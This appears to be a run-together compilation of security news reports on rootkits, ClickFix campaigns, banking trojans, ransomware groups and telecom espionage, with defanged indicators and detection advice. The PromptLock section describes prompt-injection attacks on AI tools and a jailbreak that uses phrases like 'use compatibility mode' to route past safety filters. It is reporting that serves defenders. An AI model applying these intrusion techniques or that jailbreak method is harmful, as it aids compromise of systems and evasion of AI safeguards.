An investigation into the compromise of an Amazon Web Services (AWS)-hosted infrastructure has led to the discovery of a new GNU/Linux rootkit dubbed LinkPro, according to findings from Synacktiv. "This backdoor features functionalities relying on the installation of two eBPF [extended Berkeley Packet Filter] modules, on the one hand to conceal itself, and on the other hand to be remotely activated upon receiving a 'magic packet,'" security researcher Théo Letailleur said. The infection, per the French cybersecurity company, involved the attackers exploiting an exposed Jenkins server vulnerable to CVE-2024-23897 (CVSS score: 9.8) as the starting point, following which a malicious Docker Hub image named "kvlnt/vv" (now removed) was deployed on several Kubernetes clusters. The Docker image consists of a Kali Linux base along with a folder called "app" containing three files - start.sh, a shell script to start the SSH service and execute the remaining two files link, an open-source program called vnt that acts as a VPN server and provides proxy capabilities by connecting to vnt.wherewego[.]top:29872, allowing the attacker to connect to the compromised server from anywhere and use it as a proxy to reach other servers app, a Rust-based downloader referred to as vGet that receives an encrypted VShell payload from an S3 bucket, which then proceeds to communicate with its own command-and-control (C2) server (56.155.98[.]37) over a WebSocket connection Also delivered to the Kubernetes nodes were two other malware strains, a dropper embedding another vShell backdoor, and LinkPro, a rootkit written in Golang. The stealthy malware can operate in either passive (aka reverse) or active (aka forward) mode, depending on its configuration, allowing it to listen for commands from the C2 server only upon receiving a specific TCP packet or directly initiate contact with the server. While the forward mode supports five different communication protocols, including HTTP, WebSocket, UDP, TCP, and DNS, the reverse mode only uses the HTTP protocol. The overall sequence of events unfolds as follows - Install the "Hide" eBPF module, which contains eBPF programs of the Tracepoint and Kretprobe types to hide its processes and network activity If the "Hide" module installation fails, or if it has been disabled, install the shared library "libld.so" in /etc/ld.so.preload If reverse mode is used, install the "Knock" eBPF module, which contains two eBPF programs of the eXpress Data Path (XDP) and Traffic Control (TC) types to ensure that the C2 communication channel is fired only upon the receipt of the magic packet Achieve persistence by setting up a systemd service Execute C2 commands On interruption (SIGHUP, SIGINT, and SIGTERM signals), uninstall the eBPF modules and delete the modified /etc/libld.so and restore it back to its original version To achieve this, LinkPro modifies the "/etc/ld.so.preload" configuration file to specify the path of the libld.so shared library embedded within it with the main objective of concealing various artifacts that could reveal the backdoor's presence. "Thanks to the presence of the /etc/libld.so path in /etc/ld.so.preload, the libld.so shared library installed by LinkPro is loaded by all programs that require /lib/ld-linux.so14," Letailleur explained. "This includes all programs that use shared libraries, such as glibc." "Once libld.so is loaded at the execution of a program, for example /usr/bin/ls, it hooks (before glibc) several libc functions to modify results that could reveal the presence of LinkPro." The magic packet, per Synacktiv, is a TCP packet with a window size value of 54321. Once this packet is detected, the Knock module saves the source IP address of the packet and an associated expiration date of one hour as its value. The program then keeps an eye out for additional TCP packets whose source IP address matches that of the already saved IP. In other words, the core functionality of LinkPro is to wait for a magic packet to be sent, after which the threat actor has a one-hour window to send commands to a port of their choice. The Knock module is also designed to modify the incoming TCP packet's header to replace the original destination port with LinkPro's listening port (2333), and alter the outgoing packet to replace the source port (2233) with the original port. "The purpose of this maneuver is to allow the operator to activate command reception for LinkPro by going through any port authorized by the front-end firewall," Synacktiv said. "This also makes the correlation between the front-end firewall logs and the network activity of the compromised host more complex." The commands supported by LinkPro include executing /bin/bash in a pseudo-terminal, running a shell command, enumerating files and directories, performing file operations, downloading files, and setting up a SOCKS5 proxy tunnel. It's currently not known who is behind the attack, but it's suspected that the threat actors are financially motivated. "For its concealment at the kernel level, the rootkit uses eBPF programs of the tracepoint and kretprobe types to intercept the getdents (file hiding) and sys_bpf (hiding its own BPF programs) system calls. Notably, this technique requires a specific kernel configuration (CONFIG_BPF_KPROBE_OVERRIDE)," the company said. "If the latter is not present, LinkPro falls back on an alternative method by loading a malicious library via the /etc/ld.so.preload file to ensure the concealment of its activities in user space."

The Russian advanced persistent threat (APT) group known as COLDRIVER has been attributed to a fresh round of ClickFix-style attacks designed to deliver two new "lightweight" malware families tracked as BAITSWITCH and SIMPLEFIX. Zscaler ThreatLabz, which detected the new multi-stage ClickFix campaign earlier this month, described BAITSWITCH as a downloader that ultimately drops SIMPLEFIX, a PowerShell backdoor. COLDRIVER, also tracked as Callisto, Star Blizzard, and UNC4057, is the moniker assigned to a Russia-linked threat actor that's known to target a wide range of sectors since 2019. While early campaign waves were observed using spear-phishing lures to direct targets to credential harvesting pages, the group has been fleshing out its arsenal with custom tools like SPICA and LOSTKEYS, which underscores its technical sophistication. The adversary's use of ClickFix tactics was previously documented by the Google Threat Intelligence Group (GTIG) back in May 2025, using fake sites serving fake CAPTCHA verification prompts to trick the victim into executing a PowerShell command that's designed to deliver the LOSTKEYS Visual Basic Script. "The continued use of ClickFix suggests that it is an effective infection vector, even if it is neither novel nor technically advanced," Zscaler security researchers Sudeep Singh and Yin Hong Chang said in a report published this week. The latest attack chain follows the same modus operandi, tricking unsuspecting users into running a malicious DLL in the Windows Run dialog under the guise of completing a CAPTCHA check. The DLL, BAITSWITCH, reaches out to an attacker-controlled domain ("captchanom[.]top") to fetch the SIMPLEFIX backdoor, while a decoy document hosted on Google Drive is presented to the victims. It also makes several HTTP requests to the same server to send system information, receive commands to establish persistence, store encrypted payloads in the Windows Registry, download a PowerShell stager, clear the most recent command executed in the Run dialog, effectively erasing traces of the ClickFix attack that triggered the infection. The downloaded PowerShell stager subsequently reaches out to an external server ("southprovesolutions[.]com") to download SIMPLEFIX, which, in turn, establishes communication with a command-and-control (C2) server to run PowerShell scripts, commands, and binaries hosted on remote URLs. One of the PowerShell scripts executed via SIMPLEFIX exfiltrates information about a hard-coded list of file types found in a pre-configured list of directories. The list of directories and file extensions scanned shares overlaps with that of LOSTKEYS. "The COLDRIVER APT group is known for targeting members of NGOs, human right defenders, think tanks in Western regions, as well as individuals exiled from and residing in Russia," Zscaler said. "The focus of this campaign closely aligns with their victimology, which targets members of civil society connected to Russia." BO Team and Bearlyfy Target Russia The development comes as Kaspersky said it observed a new phishing campaign targeting Russian companies in early September undertaken by the BO Team group (aka Black Owl, Hoody Hyena, and Lifting Zmiy) using password-protected RAR archives to deliver a new version of BrockenDoor rewritten in C# and an updated version of ZeronetKit. A Golang backdoor, ZeronetKit, comes fitted with capabilities to support remote access to compromised hosts, upload/download files, execute commands using cmd.exe, and create a TCP/IPv4 tunnel. Select newer versions also incorporate support for downloading and running shellcode, as well as update the communication interval with C2 and modify the C2 server list. "ZeronetKit is unable to independently persist on an infected system, so attackers use BrockenDoor to copy the downloaded backdoor to startup," the Russian cybersecurity vendor said. It also follows the emergence of a new group called Bearlyfy that has used ransomware strains like LockBit 3.0 and Babuk in attacks targeting Russia, initially attacking smaller companies for smaller ransoms before graduating to bigger firms in the country starting April 2025, according to F6. As of August 2025, the group is estimated to have claimed at least 30 victims. In one incident targeting a consulting company, the threat actors have been observed weaponizing a vulnerable version of Bitrix for initial access, followed by using the Zerologon flaw to escalate privileges. In another case observed in July, the initial access is said to have been facilitated through an unnamed partner company. "In the most recent recorded attack, the attackers demanded €80,000 in cryptocurrency, while in the first attack, the ransom was several thousand dollars," F6 researchers said. "Due to the relatively low ransom amounts, on average, every fifth victim buys decryptors from the attackers." Bearlyfy is assessed to be active since January 2025, with a deeper analysis of its tools uncovering infrastructure overlaps with a likely pro-Ukrainian threat group called PhantomCore, which has a track record of targeting Russian and Belarusian companies since 2022. Despite these similarities, Bearlyfy is believed to be an autonomous entity. "PhantomCore implements complex, multi-stage attacks typical of APT campaigns," the company said. "Bearlyfy, on the other hand, uses a different model: attacks with minimal preparation and a targeted focus on achieving an immediate effect. Initial access is achieved through exploitation of external services and vulnerable applications. The primary toolkit is aimed at encryption, destruction, or modification of data."

Cybersecurity company ESET has disclosed that it discovered an artificial intelligence (AI)-powered ransomware variant codenamed PromptLock. Written in Golang, the newly identified strain uses the gpt-oss:20b model from OpenAI locally via the Ollama API to generate malicious Lua scripts in real-time. The open-weight language model was released by OpenAI earlier this month. "PromptLock leverages Lua scripts generated from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption," ESET said. "These Lua scripts are cross-platform compatible, functioning on Windows, Linux, and macOS." The ransomware code also embeds instructions to craft a custom note based on the "files affected," and the infected machine is a personal computer, company server, or a power distribution controller. It's currently not known who is behind the malware, but ESET told The Hacker News that PromptLoc artifacts were uploaded to VirusTotal from the United States on August 25, 2025. "PromptLock uses Lua scripts generated by AI, which means that indicators of compromise (IoCs) may vary between executions," the Slovak cybersecurity company pointed out. "This variability introduces challenges for detection. If properly implemented, such an approach could significantly complicate threat identification and make defenders' tasks more difficult." Assessed to be a proof-of-concept (PoC) rather than a fully operational malware deployed in the wild, PromptLock uses the SPECK 128-bit encryption algorithm to lock files. Besides encryption, analysis of the ransomware artifact suggests that it could also be used to exfiltrate data or even destroy it, although the functionality to actually perform the erasure appears not yet to be implemented. "PromptLock does not download the entire model, which could be several gigabytes in size," ESET clarified. "Instead, the attacker can simply establish a proxy or tunnel from the compromised network to a server running the Ollama API with the gpt-oss-20b model." The emergence of PromptLock is another sign that AI has made it easier for cybercriminals, even those who lack technical expertise, to quickly set up new campaigns, develop malware, and create compelling phishing content and malicious sites. Earlier today, Anthropic revealed that it had banned accounts created by two different threat actors that used its Claude AI chatbot to commit large-scale theft and extortion of personal data targeting at least 17 distinct organizations, and developed several variants of ransomware with advanced evasion capabilities, encryption, and anti-recovery mechanisms. The development comes as large language models (LLMs) powering various chatbots and AI-focused developer tools, such as Amazon Q Developer, Anthropic Claude Code, AWS Kiro, Butterfly Effect Manus, Google Jules, Lenovo Lena, Microsoft GitHub Copilot, OpenAI ChatGPT Deep Research, OpenHands, Sourcegraph Amp, and Windsurf, have been found susceptible to prompt injection attacks, potentially allowing information disclosure, data exfiltration, and code execution. Despite incorporating robust security and safety guardrails to avoid undesirable behaviors, AI models have repeatedly fallen prey to novel variants of injections and jailbreaks, underscoring the complexity and evolving nature of the security challenge. "Prompt injection attacks can cause AIs to delete files, steal data, or make financial transactions," Anthropic said. "New forms of prompt injection attacks are also constantly being developed by malicious actors." What's more, new research has uncovered a simple yet clever attack called PROMISQROUTE – short for "Prompt-based Router Open-Mode Manipulation Induced via SSRF-like Queries, Reconfiguring Operations Using Trust Evasion" – that abuses ChatGPT's model routing mechanism to trigger a downgrade and cause the prompt to be sent to an older, less secure model, thus allowing the system to bypass safety filters and produce unintended results. "Adding phrases like 'use compatibility mode' or 'fast response needed' bypasses millions of dollars in AI safety research," Adversa AI said in a report published last week, adding the attack targets the cost-saving model-routing mechanism used by AI vendors. Update ESET, in a follow-up post shared on X, said the "PromptLock" ransomware is actually a proof-of-concept (Poc) rather than fully operational malware deployed in the wild. The PoC is part of a study published by a group of academics from the NYU Tandon School of Engineering last week. "Unlike conventional malware, the prototype only requires natural language prompts embedded in the binary; malicious code is synthesized dynamically by the LLM at runtime, yielding polymorphic variants that adapt to the execution environment," the researchers said. "The system performs reconnaissance, payload generation, and personalized extortion, in a closed-loop attack campaign without human involvement." Md Raz, the lead author on the Ransomware 3.0 paper, said the cybersecurity community's immediate concern following the discovery of the PoC highlights the need for taking AI-enabled threats seriously. "While the initial alarm was based on an erroneous belief that our prototype was in-the-wild ransomware and not laboratory proof-of-concept research, it demonstrates that these systems are sophisticated enough to deceive security experts into thinking they're real malware from attack groups," Raz added. (The story was updated after publication on September 3, 2025, to note that PromptLock is a PoC developed as part of academic research.)

AI-powered malware is closer than expected, as the first known ransomware family to rely on AI systems for local operations has been discovered. According to ESET, which discovered the threat, the AI-powered ransomware is only proof-of-concept (PoC) or work-in-progress for now, but appears to be designed with all the functionality of traditional ransomware. Dubbed PromptLock, the malware is written in GoLang and relies on OpenAI’s GPT-OSS:20b, an open-weight model that can be used without proprietary restrictions. The threat, ESET explains in a series of posts on social media, relies on hard-coded prompts to generate Lua scripts on the fly, and uses these scripts to perform operations such as filesystem enumeration, file inspection, data exfiltration, and encryption. Both Windows and Linux variants of Promptlock have been observed, and the generated Lua scripts are cross-platform compatible, ESET warns. The ransomware uses the SPECK 128-bit algorithm for file encryption “Based on the detected user files, the malware may exfiltrate data, encrypt it, or potentially destroy it. Although the destruction functionality appears to be not yet implemented,” the cybersecurity firm notes. While the idea of AI-powered ransomware roaming around sounds frightening, Promptlock attacks would require several pre-conditions that are unlikely to be met in typical networks. First, Promptlock uses the GPT-OSS:20b model locally via the Ollama API, which means that Ollama needs to be running on the victim’s system. This would require resources that typical computer systems do not have. ESET observed Promptlock sending requests on the local network, hypothesizing it is reaching either to a locally running Ollama server, or to an internal proxy redirecting those requests to an external Ollama server. As security researchers have pointed out, the success of a Promptlock attack also depends on the victim having poor network segmentation and failing to implement prompt guardrails, or allowing outgoing traffic aimed at LLM ports and protocols. However, ESET has pointed out that the malware appears to be only a concept and not fully operational, and that it has not been deployed in the wild yet. “We believe it is crucial to raise awareness within the cybersecurity community about such emerging risks. […] The rise of AI-powered malware represents a new frontier in cybersecurity. By sharing these findings, we hope to spark discussion, preparedness, and further research across the industry,” ESET said. Related: Sophisticated Koske Linux Malware Developed With AI Aid Related: Microsoft Dissects PipeMagic Modular Backdoor Related: Cloudflare Puts a Default Block on AI Web Scraping Related: Flaws in Software Used by Hundreds of Cities and Towns Exposed Sensitive Data

Cybersecurity researchers have detailed the inner workings of an Android banking trojan called ERMAC 3.0, uncovering serious shortcomings in the operators' infrastructure. "The newly uncovered version 3.0 reveals a significant evolution of the malware, expanding its form injection and data theft capabilities to target more than 700 banking, shopping, and cryptocurrency applications," Hunt.io said in a report. The latest iteration of the malware can send SMS or initiate phone calls to a phone number, set up call forwarding to a specified number, display custom push notification with, fetch Gmail email subject lines, take pictures using the front camera, launch overlays on top of financial apps, capture contact lists, SMS messages, installed apps, and remove itself from the device. ERMAC was first documented by ThreatFabric in September 2021, detailing its ability to conduct overlay attacks against hundreds of banking and cryptocurrency apps across the world. Attributed to a threat actor named DukeEugene, it's assessed to be an evolution of Cerberus and BlackRock. Other commonly observed malware families – including Hook (ERMAC 2.0), Pegasus, and Loot – possess a shared lineage: An ancestor in the form of ERMAC from which source code components have been passed down and modified through generations. Hunt.io said it managed to obtain the complete source code associated with the malware-as-a-service (MaaS) offering from an open directory on 141.164.62[.]236:443, right down to its PHP and Laravel backend, React-based frontend, Golang exfiltration server, and Android builder panel. The functions of each of the components are listed below - Backend C2 server - Provides operators the ability to manage victim devices and access compromised data, such as SMS logs, stolen accounts, and device data Frontend panel - Allows operators to interact with connected devices by issuing commands, managing overlays, and accessing stolen data Exfiltration server - A Golang server used for exfiltrating stolen data and managing information related to compromised devices ERMAC backdoor - An Android implant written in Kotlin that offers the ability to control the compromised device and collect sensitive data based on incoming commands from the C2 server, while ensuring that the infections don't touch devices located in the Commonwealth of Independent States (CIS) nations ERMAC builder - A tool to help customers configure and create builds for their malware campaigns by providing the application name, server URL, and other settings for the Android backdoor Besides an expanded set of app targets, ERMAC 3.0 adds new form injection methods, an overhauled command-and-control (C2) panel, a new Android backdoor, and AES-CBC encrypted communications. "The leak revealed critical weaknesses, such as a hardcoded JWT secret and a static admin bearer token, default root credentials, and open account registration on the admin panel," the company said. "By correlating these flaws with live ERMAC infrastructure, we provide defenders with concrete ways to track, detect, and disrupt active operations."

The threat actor known as EncryptHub is continuing to exploit a now-patched security flaw impacting Microsoft Windows to deliver malicious payloads. Trustwave SpiderLabs said it recently observed an EncryptHub campaign that brings together social engineering and the exploitation of a vulnerability in the Microsoft Management Console (MMC) framework (CVE-2025-26633, aka MSC EvilTwin) to trigger the infection routine via a rogue Microsoft Console (MSC) file. "These activities are part of a broad, ongoing wave of malicious activity that blends social engineering with technical exploitation to bypass security defenses and gain control over internal environments," Trustwave researchers Nathaniel Morales and Nikita Kazymirskyi said. EncryptHub, also tracked as LARVA-208 and Water Gamayun, is a Russian hacking group that first gained prominence in mid-2024. Operating at a high tempo, the financially motivated crew is known for leveraging several methods, including fake job offers, portfolio review, and even compromising Steam games, to infect targets with stealer malware. The threat actor's abuse of CVE-2025-26633 was previously documented by Trend Micro in March 2025, uncovering attacks that deliver two backdoors called SilentPrism and DarkWisp. The latest attack sequence involves the threat actor claiming to be from the IT department and sending a Microsoft Teams request to the target with the goal of initiating a remote connection and deploying secondary payloads by means of PowerShell commands. Among the files dropped are two MSC files with the same name, one benign and the other malicious, that's used to trigger CVE-2025-26633, ultimately resulting in the execution of the rogue MSC file when its innocuous counterpart is launched. The MSC file, for its part, fetches and executes from an external server another PowerShell script that collects system information, establishes persistence on the host, and communicates with an EncryptHub command-and-control (C2) server to receive and run malicious payloads, including a stealer called Fickle Stealer. "The script receives AES-encrypted commands from the attacker, decrypts them, and runs the payloads directly on the infected machine," the researchers said. Also deployed by the threat actor over the course of the attack is a Go-based loader codenamed SilentCrystal, which abuses Brave Support, a legitimate platform associated with the Brave web browser, to host next-stage malware – a ZIP archive containing the two MSC files to weaponize CVE-2025-26633. What makes this significant is that uploading file attachments on the Brave Support platform is restricted for new users, indicating that the attackers somehow managed to obtain unauthorized access to an account with upload permissions to pull off the scheme. Some of the other tools deployed include a Golang backdoor that operates in both client and server mode to send system metadata to the C2 server, as well as set up C2 infrastructure by making use of the SOCKS5 proxy tunneling protocol. There is also evidence that the threat actors are continuing to rely on videoconferencing lures, this time setting up phony platforms like RivaTalk to deceive victims into downloading an MSI installer. Running the installer leads to the delivery of several files: the legitimate Early Launch Anti-Malware (ELAM) installer binary from Symantec that's used to sideload a malicious DLL that, in turn, launches a PowerShell command to download and run another PowerShell script. It's engineered to gather system information and exfiltrate it to the C2 server, and await encrypted PowerShell instructions that are decoded and executed to give attackers full control of the system. The malware also displays a fake "System Configuration" pop-up message as a ruse, while launching a background job to generate fake browser traffic by making HTTP requests to popular websites so as to blend C2 communications with normal network activity. "The EncryptHub threat actor represents a well-resourced and adaptive adversary, combining social engineering, abuse of trusted platforms, and the exploitation of system vulnerabilities to maintain persistence and control," Trustwave said. "Their use of fake video conferencing platforms, encrypted command structures, and evolving malware toolsets underscores the importance of layered defense strategies, ongoing threat intelligence, and user awareness training."

Ransomware gangs have recently joined ongoing attacks targeting a Microsoft SharePoint vulnerability chain, part of a broader exploitation campaign that has already led to the breach of at least 148 organizations worldwide. Security researchers at Palo Alto Networks' Unit 42 have discovered a 4L4MD4R ransomware variant, based on open-source Mauri870 code, while analyzing incidents involving this SharePoint exploit chain (dubbed "ToolShell"). The ransomware was detected on July 27 after discovering a malware loader that downloads and executes the ransomware from theinnovationfactory[.]it (145.239.97[.]206). The loader was spotted following a failed exploitation attempt that revealed malicious PowerShell commands designed to disable security monitoring on the targeted device. "Analysis of the 4L4MD4R payload revealed that it is UPX-packed and written in GoLang. Upon execution, the sample decrypts an AES-encrypted payload in memory, allocates memory to load the decrypted PE file, and creates a new thread to execute it," Unit 42 said. The 4L4MD4R ransomware encrypts files on the compromised system and demands a payment of 0.005 Bitcoin, generating ransom notes and encrypted file lists on infected systems. Microsoft and Google have also linked the ToolShell attacks to Chinese threat actors, with Microsoft security researchers naming three separate state-backed hacking groups: Linen Typhoon, Violet Typhoon, and Storm-2603. To date, numerous high-profile targets have been compromised in this ongoing campaign, including the U.S. National Nuclear Security Administration, the Department of Education, Florida's Department of Revenue, the Rhode Island General Assembly, and government networks in Europe and the Middle East. "Microsoft has observed two named Chinese nation-state actors, Linen Typhoon and Violet Typhoon exploiting these vulnerabilities targeting internet-facing SharePoint servers," Microsoft said. "In addition, we have observed another China-based threat actor, tracked as Storm-2603, exploiting these vulnerabilities. Investigations into other actors also using these exploits are still ongoing." Dutch cybersecurity firm Eye Security first detected ToolShell exploitation targeting CVE-2025-49706 and CVE-2025-49704 in zero-day attacks, initially identifying 54 compromised organizations, including government entities and multinational companies. Check Point Research subsequently revealed exploitation signs dating to July 7, targeting government, telecommunications, and technology organizations across North America and Western Europe. Microsoft has patched the two flaws with the July 2025 Patch Tuesday updates and assigned two new CVE IDs (CVE-2025-53770 and CVE-2025-53771) for zero-days exploited to compromise fully patched SharePoint servers. Eye Security Chief Technology Officer Piet Kerkhofs has also told BleepingComputer that the actual scope extends far beyond initial estimates, with the firm's data indicating that the attackers have infected at least 400 servers with malware across the networks of at least 148 organizations, many of which have been compromised for extended periods. The Cybersecurity and Infrastructure Security Agency (CISA) has added the CVE-2025-53770 remote code execution vulnerability, part of the ToolShell exploit chain, to its catalog of exploited flaws and ordered federal agencies to secure their systems within 24 hours. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Telecommunications organizations in Southeast Asia have been targeted by a state-sponsored threat actor known as CL-STA-0969 to facilitate remote control over compromised networks. Palo Alto Networks Unit 42 said it observed multiple incidents in the region, including one aimed at critical telecommunications infrastructure between February and November 2024. The attacks are characterized by the use of several tools to enable remote access, as well as the deployment of Cordscan, which can collect location data from mobile devices. However, the cybersecurity company said it found no evidence of data exfiltration from the networks and systems it investigated. Nor were any efforts made by the attackers to track or communicate with target devices within mobile networks. "The threat actor behind CL-STA-0969 maintained high operational security (OPSEC) and employed various defense evasion techniques to avoid detection," security researchers Renzon Cruz, Nicolas Bareil, and Navin Thomas said. CL-STA-0969, per Unit 42, shares significant overlaps with a cluster tracked by CrowdStrike under the name Liminal Panda, a China-nexus espionage group that has been attributed to attacks directed against telecommunications entities in South Asia and Africa since at least 2020 with the goal of intelligence gathering. It's worth noting that some aspects of Liminal Panda's tradecraft were previously attributed to another threat actor called LightBasin (aka UNC1945), which has also singled out the telecom sector since 2016. LightBasin, for its part, overlaps with a third cluster dubbed UNC2891, a financially motivated crew known for its attacks on Automatic Teller Machine (ATM) infrastructure. "While this cluster significantly overlaps with Liminal Panda, we have also observed overlaps in attacker tooling with other reported groups and activity clusters, including Light Basin, UNC3886, UNC2891, and UNC1945," the researchers pointed out. In at least one case, CL-STA-0969 is believed to have employed brute-force attacks against SSH authentication mechanisms for initial compromise, leveraging the access to drop various implants such as - AuthDoor, a malicious Pluggable Authentication Module (PAM) that works similar to SLAPSTICK (originally attributed to UNC1945) to conduct credential theft and provide persistent access to the compromised host via a hard-coded magic password Cordscan, a network scanning and packet capture utility (previously attributed to Liminal Panda) GTPDOOR, a malware explicitly designed to be deployed in telecom networks that are adjacent to GPRS roaming exchanges EchoBackdoor, a passive backdoor that listens for ICMP echo request packets containing command-and-control (C2) instructions to extract the command and send the results of the execution back to the server via an unencrypted ICMP Echo Reply packet Serving GPRS Support Node (SGSN) Emulator (sgsnemu), an emulation software to tunnel traffic via the telecommunications network and bypass firewall restrictions (previously attributed to Liminal Panda) ChronosRAT, a modular ELF binary that's capable of shellcode execution, file operations, keylogging, port forwarding, remote shell, screenshot capture, and proxy capabilities NoDepDNS (internally referred to as MyDns), a Golang backdoor that creates a raw socket and passively listens for UDP traffic on port 53 to parse incoming commands via DNS messages "CL-STA-0969 leveraged different shell scripts that established a reverse SSH tunnel along with other functionalities," Unit 42 researchers noted. "CL-STA-0969 systematically clears logs and deletes executables when they are no longer needed, to maintain a high degree of OPSEC." Adding to the already broad portfolio of malicious tools that the threat actor has deployed are Microsocks proxy, Fast Reverse Proxy (FRP), FScan, Responder, and ProxyChains, as well as programs to exploit flaws in Linux and UNIX-based systems (CVE-2016-5195, CVE-2021-4034, and CVE-2021-3156) to achieve privilege escalation. Besides using a combination of bespoke and publicly available tooling, the threat actors have been found to adopt a number of strategies to fly under the radar. This encompasses DNS tunneling of traffic, routing traffic through compromised mobile operators, erasing authentication logs, disabling Security-Enhanced Linux (SELinux), and disguising process names with convincing names that match the target environment. "CL-STA-0969 demonstrates a deep understanding of telecommunications protocols and infrastructure," Unit 42 said. "Its malware, tools and techniques reveal a calculated effort to maintain persistent, stealthy access. It achieved this by proxying traffic through other telecom nodes, tunneling data using less-scrutinized protocols and employing various defense evasion techniques." China Accuses U.S. Agencies of Targeting Military and Research Institutions The disclosure comes as the National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT) accused U.S. intelligence agencies of weaponizing a Microsoft Exchange zero-day exploit to steal defense-related information and hijack more than 50 devices belonging to a "major Chinese military enterprise" between July 2022 and July 2023. The agency also said high-tech military-related universities, scientific research institutes, and enterprises in the country were targeted as part of these attacks to siphon valuable data from compromised hosts. Among those targeted was a Chinese military enterprise in the communications and satellite internet sectors that was attacked from July to November of 2024 by exploiting vulnerabilities in electronic file systems, CNCERT alleged. The attribution effort mirrors tactics from the West, which has repeatedly blamed China for major cyber attacks, counting the latest zero-day exploitation of Microsoft SharePoint Server vulnerabilities. Asked last month about Chinese hacking into U.S. telecom systems and theft of intellectual property on Fox News, U.S. President Donald Trump said, "You don't think we do that to them? We do. We do a lot of things. That's the way the world works. It's a nasty world."

A threat actor claiming to have launched a new ransomware-as-a-service (RaaS) venture is leveraging AI chatbots in its negotiation panel to automate communication and apply psychological pressure on victims. In June 2025, a ransomware actor known by the alias $$$ publicly introduced a new RaaS brand, GLOBAL GROUP, on the Russian Anonymous Market Place (RAMP or Ramp4u) cybercrime forum. Researchers at Picus Security promptly conducted a forensic investigation across malware samples, infrastructure configuration and control logic, which included analyzing leaked API metadata, reverse-engineered binary code and threat actor behavior. They concluded that GLOBAL GROUP had very few new features but instead included capabilities found in the Mamona RIP and Black Lock ransomware families. In a July 21 report, Picus Security assessed that GLOBAL GROUP was a rebranding of these two groups. “At every layer, payload, delivery, control, and operation, GLOBAL reveals continuity and maturity more than innovation,” the researchers wrote. Negotiation Panel Equipped with an AI Chatbot However, one innovation the GLOBAL group has introduced is the use of an AI chatbot to kick off the negotiation process. The ransomware group offers a dual-portal model, directing victims to a Tor-based data leak site and a separate negotiation panel – a structure reminiscent of LockBit’s compartmentalized backend, suggesting that GLOBAL employs a double-extortion approach. Once on the negotiation panel, the victim is greeted by an AI-powered chatbot designed to automate communication and apply psychological pressure. The panel is designed for non-technical users, featuring prompts to upload a sample encrypted file for free decryption verification. All correspondence takes place over a secure channel, with a timer displayed to reinforce the urgency. Chat transcripts reviewed by analysts show demands reaching seven-figure sums, such as BTC9.5 ($1m at the time the negotiation process occurred), with escalating threats of data publication. GLOBAL’s affiliates have access to this panel in order to monitor negotiations, set ransom windows and even interact with victims directly via a mobile-friendly interface. “The integration of AI chat automation reduces the affiliate workload and ensures negotiations proceed even in the absence of human operators, enabling GLOBAL to scale victim engagement across time zones, languages, and organizational profiles,” the Picus Security researchers wrote. GLOBAL’s Techniques, Tactics and Procedures The majority of GLOBAL’s techniques, tactics, and procedures (TTPs) are borrow from Mamona RIP, Black Lock and Lockbit. The emerging ransomware group employs a cross-platform Golang-based payload, leveraging Go’s static linking and concurrency features to maximize encryption speed across Windows, Linux and macOS systems. This aligns with modern ransomware trends, where attackers favor Go for its efficiency in large-scale encryption. A key tactic is the reuse of a mutex string (Global\Fxo16jmdgujs437) previously seen in Mamona RIP, suggesting code inheritance rather than simple repackaging. This mutex ensures single-instance execution, preventing multiple ransomware processes from running simultaneously. Additionally, the group uses ChaCha20-Poly1305 encryption, a modern algorithm that provides both confidentiality and integrity, similar to Black Lock and LockBit, which also favor strong encryption schemes to deter recovery efforts. The ransom note is hardcoded into the binary and written to disk as README.txt, containing coercive language and a proof-of-decryption mechanism to build trust. This mirrors Mamona RIP’s approach, where psychological pressure is combined with technical validation. Notably, the group’s frontend API exposure reveals operational security failures, such as leaking backend SSH credentials and real IP addresses (e.g., 193.19.119[.]4), tying them to Russian VPS provider IpServer, the same infrastructure linked to Mamona. This suggests a shared development lineage or at least overlapping operational practices between the two groups. The GLOBAL ransomware builder is a RaaS platform with a customizable payload generator, allowing affiliates to configure encryption percentages, file extensions and additional malicious behaviors (e.g., process killing, log deletion, and self-deletion). This modular approach, where features are dynamically included at compile time, helps evade detection, a tactic also seen in LockBit’s builder. The ability to target ESXi, BSD and NAS appliances further expands its reach, similar to Black Lock’s focus on hybrid environments. The use of goroutines for concurrent encryption and filename encryption to hinder recovery efforts is an additional refinements that enhance its effectiveness, borrowing elements from both Mamona RIP and LockBit in terms of execution efficiency and evasion techniques. Detection, Mitigation and Response Strategies Against GLOBAL In their report, the Picus Security researchers shared a comprehensive list of strategies and measures security teams can implement to detect, mitigate and respond to the GLOBAL ransomware threat. These include: Detecting multithreaded ChaCha20-Poly1305 encryption by monitoring abnormal CPU/memory spikes and cryptographic API calls in Golang-based processes Identifying ransomware activity by tracking custom file extensions and encrypted filenames through file access monitoring and anomaly detection Monitoring for abuse of native utilities such as wevtutil, vssadmin, and net use, which attackers use for log tampering, shadow copy deletion and lateral movement Tracking unauthorized SSH access to cloud infrastructure, particularly from unusual geolocations or known malicious IPs linked to ransomware operations Detecting session hijacking and credential replay attacks by analyzing authentication anomalies in OWA (Outlook Web Access) and RDWeb (Remote Desktop Web Access) Conducting behavioral analysis to identify rare mutex strings (e.g. Global\Fxo16jmdgujs437), which may indicate single-instance ransomware execution Correlating lateral movement patterns originating from non-domain-joined endpoints, a common sign of initial access or privilege escalation Analyzing service-level telemetry for suspicious process chains (e.g., OpenProcess → TerminateProcess) and credential reuse across different protocols Simulating GLOBAL’s attack techniques using breach and attack simulation (BAS) to validate detection and response capabilities Assessing security controls to ensure they block real-world attack behaviors, not just static indicators of compromise (IOCs) Identifying and remediating blind spots caused by misconfigured detection rules or gaps in telemetry coverage Applying vendor-specific mitigations (e.g., Microsoft Defender, CrowdStrike, SentinelOne) to address validated security gaps Restricting the execution of Golang binaries in high-risk environments and monitoring for unusual Go-based processes Enforcing least-privilege access controls to limit ransomware’s ability to encrypt files or delete backups Disabling unnecessary native utilities (e.g., wevtutil, vssadmin) via Group Policy or application control policies Monitoring and blocking Tor-based command-and-control (C2) traffic and known ransomware leak site domains (e.g. .onion addresses) Implementing network segmentation to prevent lateral movement from compromised endpoints to critical assets

